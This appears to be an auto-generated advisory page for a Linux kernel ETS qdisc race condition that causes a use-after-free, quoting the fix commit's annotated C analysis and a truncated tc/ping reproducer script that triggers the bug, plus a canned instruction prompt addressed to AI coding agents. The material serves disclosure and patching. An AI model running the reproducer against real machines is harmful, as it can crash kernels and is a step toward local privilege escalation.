# CVE-2025-71066: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change

> A race condition in the Linux kernel ETS qdisc allows local attackers with namespace creation privileges to trigger a use-after-free, potentially leading to code execution or privilege escalation.

- **Severity:** High 7.8 (`CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`)
- **Exploited in the wild:** Not known
- **Login needed:** Any signed-in user
- **Attackable:** Local or same network only
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 13 Jan 2026
- **Updated:** 5 Aug 2026
- **Also known as:** BELL-CVE-2025-71066, DEBIAN-CVE-2025-71066, GHSA-m4cc-c4jq-h2wr, ROOT-OS-DEBIAN-11-CVE-2025-71066, ROOT-OS-DEBIAN-12-CVE-2025-71066, ROOT-OS-DEBIAN-13-CVE-2025-71066, ROOT-OS-UBUNTU-2204-CVE-2025-71066, ROOT-OS-UBUNTU-2404-CVE-2025-71066, UBUNTU-CVE-2025-71066

## What is CVE-2025-71066?

CVE-2025-71066 is a high-severity use after free vulnerability in Linux, published on 13 Jan 2026. It can only be exploited from the same machine or local network, with no action from the victim.

### Official description

In the Linux kernel, the following vulnerability has been resolved:

net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change

zdi-disclosures@trendmicro.com says:

The vulnerability is a race condition between `ets_qdisc_dequeue` and
`ets_qdisc_change`.  It leads to UAF on `struct Qdisc` object.
Attacker requires the capability to create new user and network namespace
in order to trigger the bug.
See my additional commentary at the end of the analysis.

Analysis:

static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt,
                          struct netlink_ext_ack *extack)
{
...

      // (1) this lock is preventing .change handler (`ets_qdisc_change`)
      //to race with .dequeue handler (`ets_qdisc_dequeue`)
      sch_tree_lock(sch);

      for (i = nbands; i < oldbands; i++) {
              if (i >= q->nstrict && q->classes[i].qdisc->q.qlen)
                      list_del_init(&q->classes[i].alist);
              qdisc_purge_queue(q->classes[i].qdisc);
      }

      WRITE_ONCE(q->nbands, nbands);
      for (i = nstrict; i < q->nstrict; i++) {
              if (q->classes[i].qdisc->q.qlen) {
		      // (2) the class is added to the q->active
                      list_add_tail(&q->classes[i].alist, &q->active);
                      q->classes[i].deficit = quanta[i];
              }
      }
      WRITE_ONCE(q->nstrict, nstrict);
      memcpy(q->prio2band, priomap, sizeof(priomap));

      for (i = 0; i < q->nbands; i++)
              WRITE_ONCE(q->classes[i].quantum, quanta[i]);

      for (i = oldbands; i < q->nbands; i++) {
              q->classes[i].qdisc = queues[i];
              if (q->classes[i].qdisc != &noop_qdisc)
                      qdisc_hash_add(q->classes[i].qdisc, true);
      }

      // (3) the qdisc is unlocked, now dequeue can be called in parallel
      // to the rest of .change handler
      sch_tree_unlock(sch);

      ets_offload_change(sch);
      for (i = q->nbands; i < oldbands; i++) {
	      // (4) we're reducing the refcount for our class's qdisc and
	      //  freeing it
              qdisc_put(q->classes[i].qdisc);
	      // (5) If we call .dequeue between (4) and (5), we will have
	      // a strong UAF and we can control RIP
              q->classes[i].qdisc = NULL;
              WRITE_ONCE(q->classes[i].quantum, 0);
              q->classes[i].deficit = 0;
              gnet_stats_basic_sync_init(&q->classes[i].bstats);
              memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats));
      }
      return 0;
}

Comment:
This happens because some of the classes have their qdiscs assigned to
NULL, but remain in the active list. This commit fixes this issue by always
removing the class from the active list before deleting and freeing its
associated qdisc

Reproducer Steps
(trimmed version of what was sent by zdi-disclosures@trendmicro.com)

```
DEV="${DEV:-lo}"
ROOT_HANDLE="${ROOT_HANDLE:-1:}"
BAND2_HANDLE="${BAND2_HANDLE:-20:}"   # child under 1:2
PING_BYTES="${PING_BYTES:-48}"
PING_COUNT="${PING_COUNT:-200000}"
PING_DST="${PING_DST:-127.0.0.1}"

SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}"
SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}"
SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}"

cleanup() {
  tc qdisc del dev "$DEV" root 2>/dev/null
}
trap cleanup EXIT

ip link set "$DEV" up

tc qdisc del dev "$DEV" root 2>/dev/null || true

tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2

tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \
  tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT"

tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2
tc -s qdisc ls dev $DEV

ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \
  >/dev/null 2>&1 &
tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0
tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2
tc -s qdisc ls dev $DEV
tc qdisc del dev "$DEV" parent 
---truncated---

Weakness: CWE-362 (Concurrent Execution using Shared Resource with Improper Synchronization)

## Which versions are affected by CVE-2025-71066?


## How do I fix CVE-2025-71066?

Apply the vendor's patch.

## Is CVE-2025-71066 being exploited?

There is no known exploitation of CVE-2025-71066 in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for CVE-2025-71066 and fix it if it is affected.

What it is: CVE-2025-71066 is a high-severity use after free vulnerability in Linux, published on 13 Jan 2026. It can only be exploited from the same machine or local network, with no action from the victim.
Exploitation: There is no known exploitation of CVE-2025-71066 in the wild and no public exploit code.

Affected product: Linux. No package-level version data is available, so check the vendor advisory linked from the reference page.

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/CVE-2025-71066/ (Markdown: https://insights.sbomify.com/CVE-2025-71066/index.md)
```

## Sources

- CVE record: https://www.cve.org/CVERecord?id=CVE-2025-71066
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-71066
- OSV: https://osv.dev/vulnerability/CVE-2025-71066

---
From sbomify Insights: https://insights.sbomify.com/CVE-2025-71066/
Summaries are generated and may contain mistakes; the official description above is the record.